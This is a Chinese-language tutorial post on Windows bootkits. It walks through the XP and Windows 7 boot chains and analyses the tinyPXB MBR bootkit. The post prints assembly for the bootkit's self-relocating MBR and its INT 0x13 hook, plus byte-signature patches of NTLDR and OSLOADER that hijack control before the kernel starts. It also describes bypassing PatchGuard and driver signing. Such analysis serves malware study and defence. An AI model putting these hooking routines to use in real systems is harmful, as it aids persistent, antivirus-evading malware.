敘Windows平台下基於MBR和UEFI的bootkit(一)--以MBR為例


  安全的對抗首先在權限方面,權限高的進程對權限低的權限就是就是降維打擊,無往不利。當權限相同時,啟動得早便為王。所謂的bootkit也就是基於這個思路設計的一種復雜病毒。它優先於Windows系統啟動,自然也就優先於殺毒軟件啟動的時間。鑒於國內對bootkit的文章不多,本文想介紹一下bootkit的具體技術細節。為了保證內容的梯度和完整度,其中基於MBR的rootkit分別以WindowsXp和Win7為例,而基於UEFI的bootkit則可以在Windows7以上版本(7,8,10)的運行。

一:基於MBR的bootkit

1.1:windowsXP的系統加載流程

  運行流程如下圖:

  BIOS:BIOS代碼存在於主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多數PC都會執行一些稱為“Shadow”的操作,它們從RAM復制並運行BIOS代碼(地址為0x000F0000),RAM比ROM快,因此可以加快啟動速度。BIOS將MBR從引導設備的第一個扇區讀入地址0x7C00。並提供一系列低級功能,稱為BIOS中斷,可通過“int”指令訪問實模式代碼。

  MBR(Master Boot Record):MBR是引導設備的絕對第一扇區,大小為1扇區(512字節),此代碼由BIOS加載到0x7C00,然后在實模式下執行。然而,MBR的大部分是代碼; MBR內部是一個表(實際主引導記錄),該表由4 x 16字節條目組成,並從偏移量0x1BE開始進入MBR。一旦執行,代碼將查看分區表,找到活動分區,然后將分區的第一個扇區(VBR)讀入0x7C00然后執行它。 由於MBR將VBR讀入0x7C00,因此它將在事先重新定位,以避免覆蓋自身。 MBR的最后2個字節是引導簽名(0x55,0xAA)。讀寫MBR的代碼很簡單,如下:

HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) {
    HRESULT hr = S_OK;
    HANDLE hDevice;
    MBR Mbr = { 0 };
    do {
        hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if (hDevice == INVALID_HANDLE_VALUE) {
            hr = S_FALSE;
            break;
        }
        DWORD dwRead = 0;
        if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) {
            hr = S_FALSE;
            break;
        }
        if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[0]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[0]))) {
            hr = S_FALSE;
            break;
        }
    } while (0);
    CloseHandle(hDevice);

    /*
    for (int i = 0; i < 4; i++) {
    printf("%02x", ulSigned[i]);
    }
    */
    return hr;
}

  VBR(Volume Boot Record):VBR是可引導分區的第一個扇區,就像MBR一樣,它的大小為1扇區(512字節)。它由MBR在地址0x7C00(實模式)下加載並執行。 VBR的前兩個字節是跳轉指令,跳過Bios參數塊(BPB)並進入主代碼。在VBR的前2個字節之后是BPB,此塊包含有關驅動程序和分區的一些信息(主文件表的位置,驅動器的磁盤/磁頭/扇區設置,卷序列號等)。除了從BPB收集一些信息之外,VBR沒有做太多其他事情,然后將分區的前16個扇區讀入內存(通常從地址0xD000開始)。 •分區的前16個扇區稱為$BOOT,盡管所有16個扇區都被加載到內存中,但只使用了7個扇區(1個用於VBR,6個用於IPL)。

  IPL(Inital Program Loader):IPL最大可達15個扇區(7680字節),位於磁盤上的VBR(分區的扇區1-15)之后,此代碼從地址0xD000開始,然后在實模式下運行。 Windows XP IPL僅使用15個已分配扇區中的6個。 IPL的工作是在磁盤上定位NTDLR,然后將其讀入內存。 IPL將始終讀取並執行地址0x20000處的NTLDR。

  NTLDR(New Technology Loader):NTLDR是一個“實際”文件,駐留在C:\NTLDR並具有屬性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL無法從文件系統訪問),它在地址0x20000處執行。TLDR由2個主要部分組成:1.NTLDR - 16位實模式和保護模式代碼的混合,可在兩種模式之間切換,以便使用BIOS中斷。 2.OSLOADER.exe - 一個PE文件(編譯為驅動程序),由32位代碼組成,在保護模式下執行。NTLDR將設置GDT和IDT,然后進入保護模式(分頁仍未設置)。OSLOADER.exe從NTLDR中提取並加載其入口點0x401000,這是因為OSLOADER是PE文件,如果位於0x401000,則不需要重定位表。NTLDR調用0x401000(OSLOADER入口點)。

  OSLoader.exe:OSLOADER是一個PE文件,它被編譯為內核驅動程序,但它有點像普通文件而不是驅動程序,因為內核尚未加載。 雖然OSLOADER是PE文件,但PE頭不會加載到內存中,只會加載到代碼中。OSLOADER中的代碼做了很多,所以我只強調主要內容:

    i:啟用分頁並設置頁表。

    ii:使用NTDETECT檢測是否存在運行Windows所需的硬件。

    iii:解析boot.ini以獲取啟動設置,如果是雙啟動,請詢問用戶他們希望加載哪個操作系統。 

    iV:加載啟動驅動程序。

    V:在調用KiSystemStartup(ntoskrnl入口點)之前,找到ntoskrnl.exe並將其加載到內存中。

  ntoskrnl.exe:Ntoskrnl是位於C:\Windows\System32\ntoskrnl.exe的PE文件,它將由OSLoader.exe加載(加載地址將在 service pack地址中變化),而ntoskrnl.exe的入口點是KiSystemStartUp,它負責初始化內核並啟動操作系統,然后執行由OSLoader.exe架子啊的啟動驅動程序。當內核初始化完成后,操作系統將准備好登陸。

  以上便是整個系統啟動的調用流程。

1.2 :根據 tinyPXB講解基於MBR的bootkit的運行機理

  bootkit在tinyPXB中分為四個部分:1.MBR-負責加載其它三個組件 2.Loader16.bin bootkit的實模式組件 3.Loader32.bin bookit的32位保護模式組件 4.Driver32.sys 加載的驅動,這個不在本文的講解范圍。

1.2.1 MBR代碼流程

  bootkit MBR最初將在0x7C00加載並執行;一旦執行它就會將自身復制到地址0x80000並從那里執行。代碼如下:

;=============================================================================================
;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address
;=============================================================================================
start:
	cld
	push 0x00
	pop ds
	mov sp, 0x7C00	;Stack grows downwards from address 0x7C00
	mov si, sp	
	mov di, 0x00
	mov cx, 0x100
	push 0x8000
	pop es
	rep movsw		;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000)
	push 0x8000		;Segment to retf to
	push realstart	;Offset to retf to
	retf			;Jump to code at new address
;=============================================================================================
;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use 
;normal read instead of extended read because it doesnt seem to work with floppy disks
;=============================================================================================
realstart:
	push es
	pop ds
	
	call LoadLdrs
	test ax, ax
	je Failed
	
	push 0x8020
	push 0x0000
	retf 		;Jump to loader16 (0x80200)
	
Failed:
	jmp $		;Infinite loop
	ret

   一旦到達0x8000,MBR將解析軟盤的12位文件分配表(FAT),尋找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR將使用INT 0x13,AH = 2(標准磁盤讀取)BIOS中斷將磁盤中的文件讀入內存。我們不能在軟盤上使用擴展讀取,因此MBR還會將邏輯塊地址轉換為Cylinder-Head-Sector值。 Loader16將加載到地址0x80200,Loader32將加載到地址0x80400,driver32將加載到地址0x8100。一旦MBR完成加載bootkit組件,它將執行轉移到0x80200(Loader16)。

1.2.2 Loader16

  Loader16將從地址0x80200執行,並將完全在實模式下執行。

  代碼將負責掛鈎INT 0x13(磁盤讀取中斷)和處理調用,以及掛鈎NTLDR中的代碼和OSLOADER.exe的入口點。

  INT 0x13是BIOS提供的磁盤服務中斷。 MBR,VBR,IPL和NTLDR將使用它來讀取磁盤中的扇區以及其他內容。掛鈎int 0x13代碼如下:

start:
	push cs		;Set up segments
	pop ds	
	push cs
	pop es
	
	mov ah, 0x42	;Extended Disk Read
	mov dl, 0x80	;Hard Disk 1
	mov si, DAP1	;Pointer to Data Access Packet
	int 0x13
	jc StartFailed
	
	mov ax, [ss:0x4C]
	mov word [Old_Int13+1], ax		 ;Store original int 0x13 offset
	mov ax, [ss:0x4E]
	mov word [Old_Int13+3], ax		 ;Store original int 0x13 segment
	
	mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset
	mov word [ss:0x4E], 0x8020		 ;Our code segment
	
	push 0x00	;Reset es and ds segment
	pop es
	push es
	pop ds
	
	push es
	push 0x7C00
StartFailed:

  通過掛鈎磁盤中斷,我們可以掃描MBR,VBR,IPL或NTLDR讀取的每個扇區。我們通過搜索特征碼(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代碼 NTLDR使用它將OSLOADER加載到內存中),當IPL使用INT 0x13將NTLDR讀入內存時,將找到特征碼並在“rep movsw”之后進行HOOK。(在OSLOADER加載到0x401000之后)。Hook OSloader代碼如下:

HookMoveOSLoader:
	push ds
	push fs
	push 0x8020
	pop fs
	push 0x00
	pop ds
	mov dx, word [fs:Old_Int13+1]	;Store original int 0x13 offset into dx
	mov [0x4C], dx					;Restore int 0x13 offset
	mov dx, word [fs:Old_Int13+3]	;Store original int 0x13 segment into dx
	mov [0x4E], dx					;Restore int 0x13 segment
	xor edi, edi ;Make sure the high word of edi is null
	mov di, ax	 ;ax still contains the address signature was found at
	add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw
	push es
	pop fs
	mov byte [fs:di+0], 0x9A	;Far call
	mov word [fs:di+1], 0x600	;Jump to address 0x00000600
	mov word [fs:di+3], 0x0008	;GDT descriptor 0x01 (32-bit code segment base: 0x00000000
	mov di, 0x600				;We store the 32-bit relative jump at 0x600
	mov byte [di], 0xE9			;relative 32-bit jump to HookOSLoader
	mov dword [di+1], (0x7FDFB)	;Offset to loader32 (0x605 + 0x7FFFB = 0x80400)
	pop fs
	pop ds
	retn

  所有代碼都是從我們的軟盤運行的。 Loader16會將真正的Windows MBR從硬盤驅動器讀入0x7C00(就像BIOS一樣),掛起INT 0x13,然后執行windows MBR。

1.2.3 Loader32

  Loader16中,我們在NTLDR中進行了HOOK,當運行到這個HOOk的時候,我們將刪除HOOK,然后掃描OSLoder對其進行掛鈎,掃描一下特征碼( 51 6A 01 52 50 6A 05 E8),這段代碼后面跟隨的是BlAllocateDescriptor的地址,這個函數用於分配內存,當Loader嘗試調用BlAllocateDescriptor時,它將運行Hook代碼,現在讓系統繼續運行。一旦NTLDR完成並且OSLOADER開始執行,它將調用被我們Hook住的BlAllocateDescriptor。由於BlAllocateDescriptor已經可以使用了,刪除鈎子並對BlAllocateDescriptor進行3次調用。

  i:第一個調用是分配一些內存來移動Loader32,這是因為當啟用分頁時,我們當前執行的內存將被分頁。

  ii:第二個調用是為我們的驅動程序分配一些內存來運行,因為存儲驅動程序PE文件的地址也將被分頁,我們現在也可以將驅動程序的PE文件映射到內存中,准備執行。

  iii:最后一次調用調用沒有被Hook情況下調用分配的內存。就在我們的BlAllocateDescriptor將執行轉移回OSLOADER之前,我們將把loader32重新定位到分配的內存.

  然后在OSLOADER中執行另一個字節掃描。•這次我們掃描以下字節:8B F0 85 F6 74 11 68 4C 23這些對應於指令:

    mov esi,eax

    test esi,esi

    jz 0x11

    push 234Ch

    OSLOADER使用這些指令之后的代碼直接調用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一個push,然后是一個調用,push將把“LOADER_PARAMETER_BLOCK”推送到堆棧,我們將把調用的地址改為指向我們的代碼。 •KiSystemStartup掛鈎將指向我們復制到已分配內存的loader32中的代碼(0x80000000范圍內的某處)。

   現在我們將控制權返回給OSLOADER,以便繼續加載操作系統。加載操作系統之后,由於之前已經對系統做了掛鈎。所以我們可以你在加載系統的第一時間獲取控制流,從而可以對系統為所欲為。

 1.3:windows7的系統加載流程

  1:首先,MBR加載NT Boot Sector,NT boot Sector可以讀取FAT32和NTFS,它將讀取在 system32或者system32/boot目錄下的BOOTMGR.exe函數。

  2:bootmgr.exe有一個16字節的校驗頭,當檢驗成功后,將將其映射到0x40000的位置,並以BmMain函數開始。

  3:然后BootMgr.exe檢查休眠狀態。一但發現休眠,則加載winresume.exe並繼續運行。

  4:BootMgr.exe加載BCD數據庫,並且遍歷boot入口。

  5:選擇了Boot入口后,使用BmLanuchBootEntry函數進行加載。然后CPU進入64位模式並跳轉到winload.exe。

  6:winload.exe首先加載system的hive文件,然后加載ntoskrnl.exe,HAL.dll,依賴和關鍵驅動

  7:創建PSLoadModuleList和LOADER_PARAMETER_BLOCK結構,其中包含了內核映射和選項列表等信息

  8:然后使用OslArchTranslateToKernel函數進行內核(ntoskrnol.exe)的初始化流程。

  總體流程如圖所示:

  其中內核初始化一共分為兩步,這於本篇內容沒有太大關系,略過。

 二:vbookit2.0原理

  windows7 x64上,我們需要在不被Patch Guard和驅動簽名檢測的前提下,過掉所有的安全功能。所以我們只能在內存中打補丁。和tinyXp一樣,文件加載的時候打補丁,一步步前進,直到到達內核為止。原理基本同tinyXP,所以不多解釋,具體可參考源碼。

  

  

  

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM